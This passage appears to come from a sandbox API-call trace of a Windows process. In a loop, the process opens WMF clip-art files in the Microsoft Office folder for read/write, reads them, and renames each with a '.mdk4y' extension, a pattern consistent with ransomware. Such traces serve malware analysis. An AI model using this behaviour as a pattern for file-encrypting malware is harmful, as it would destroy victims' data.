lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01149_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.364] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.367] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1248, lpOverlapped=0x0) returned 1 [0170.403] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf.mdk4y")) returned 1 [0170.405] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.405] AreFileApisANSI () returned 1 [0170.405] GetACP () returned 0x4e4 [0170.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01152_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01152_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.406] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.407] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2230, lpOverlapped=0x0) returned 1 [0170.414] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf.mdk4y")) returned 1 [0170.418] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.418] AreFileApisANSI () returned 1 [0170.418] GetACP () returned 0x4e4 [0170.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01154_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01154_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.418] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.421] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15b0, lpOverlapped=0x0) returned 1 [0170.432] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf.mdk4y")) returned 1 [0170.434] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.436] AreFileApisANSI () returned 1 [0170.436] GetACP () returned 0x4e4 [0170.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01157_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01157_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.436] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.438] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1858, lpOverlapped=0x0) returned 1 [0170.449] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf.mdk4y")) returned 1 [0170.451] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.451] AreFileApisANSI () returned 1 [0170.451] GetACP () returned 0x4e4 [0170.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01158_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01158_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.451] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.455] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c74, lpOverlapped=0x0) returned 1 [0170.475] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf.mdk4y")) returned 1 [0170.476] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.476] AreFileApisANSI () returned 1 [0170.476] GetACP () returned 0x4e4 [0170.476] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01161_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01161_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.476] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.477] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1694, lpOverlapped=0x0) returned 1 [0170.486] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf.mdk4y")) returned 1 [0170.487] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.487] AreFileApisANSI () returned 1 [0170.487] GetACP () returned 0x4e4 [0170.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01164_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01164_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.487] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.488] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa04, lpOverlapped=0x0) returned 1 [0170.492] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf.mdk4y")) returned 1 [0170.493] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.494] AreFileApisANSI () returned 1 [0170.494] GetACP () returned 0x4e4 [0170.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01293_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01293_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.494] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.495] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x70f0, lpOverlapped=0x0) returned 1 [0170.497] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf.mdk4y")) returned 1 [0170.498] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.498] AreFileApisANSI () returned 1 [0170.498] GetACP () returned 0x4e4 [0170.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01354_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01354_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.498] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.498] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16ae, lpOverlapped=0x0) returned 1 [0170.505] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf.mdk4y")) returned 1 [0170.506] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.506] AreFileApisANSI () returned 1 [0170.506] GetACP () returned 0x4e4 [0170.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01356_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01356_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.506] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.506] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4732, lpOverlapped=0x0) returned 1 [0170.508] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf.mdk4y")) returned 1 [0170.510] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.510] AreFileApisANSI () returned 1 [0170.510] GetACP () returned 0x4e4 [0170.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01357_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01357_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.511] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.511] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6bf6, lpOverlapped=0x0) returned 1 [0170.513] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf.mdk4y")) returned 1 [0170.514] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.514] AreFileApisANSI () returned 1 [0170.514] GetACP () returned 0x4e4 [0170.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01358_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01358_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.514] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.516] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd6e, lpOverlapped=0x0) returned 1 [0170.537] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf.mdk4y")) returned 1 [0170.538] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.538] AreFileApisANSI () returned 1 [0170.538] GetACP () returned 0x4e4 [0170.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01361_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01361_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.538] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.539] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b74, lpOverlapped=0x0) returned 1 [0170.605] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf.mdk4y")) returned 1 [0170.606] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.606] AreFileApisANSI () returned 1 [0170.606] GetACP () returned 0x4e4 [0170.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01368_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01368_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.606] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.607] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x40412, lpOverlapped=0x0) returned 1 [0170.626] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf.mdk4y")) returned 1 [0170.627] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.628] AreFileApisANSI () returned 1 [0170.628] GetACP () returned 0x4e4 [0170.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01421_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01421_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.628] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.628] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b16e, lpOverlapped=0x0) returned 1 [0170.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf.mdk4y")) returned 1 [0170.637] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.637] AreFileApisANSI () returned 1 [0170.637] GetACP () returned 0x4e4 [0170.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01468_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01468_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.638] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.641] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4e82, lpOverlapped=0x0) returned 1 [0170.691] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf.mdk4y")) returned 1 [0170.692] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.692] AreFileApisANSI () returned 1 [0170.692] GetACP () returned 0x4e4 [0170.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01470_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01470_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.692] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.693] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4ada, lpOverlapped=0x0) returned 1 [0170.705] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf.mdk4y")) returned 1 [0170.706] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0170.706] AreFileApisANSI () returned 1 [0170.706] GetACP () returned 0x4e4 [0170.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA01472_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA01472_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0170.706] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0170.707] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2028, lpOverlapped=0x0) returned 1 [0170.740] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 